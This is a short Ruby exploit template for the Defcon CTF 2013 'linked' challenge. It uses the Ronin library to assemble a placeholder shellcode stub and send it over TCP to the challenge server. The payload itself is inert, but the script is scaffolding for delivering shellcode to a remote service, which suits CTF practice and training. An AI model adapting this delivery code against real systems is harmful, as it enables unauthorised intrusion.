Boilerplate code for the linked challenge, Defcon CTF 2013. Enjoy

exploit.rb

#!/usr/bin/env ruby

require 'ronin/support'
require 'ronin/asm'

include Ronin::Network::TCP

payload = Ronin::ASM::Shellcode.new do
  mov 0xaaaaaaaa, eax
  ret
end

puts payload.to_asm
payload.assemble.hexdump

tcp_session('linked2.shallweplayaga.me',22222) do |socket|
  puts socket.readline

  socket.write payload.assemble
  socket.read.hexdump
end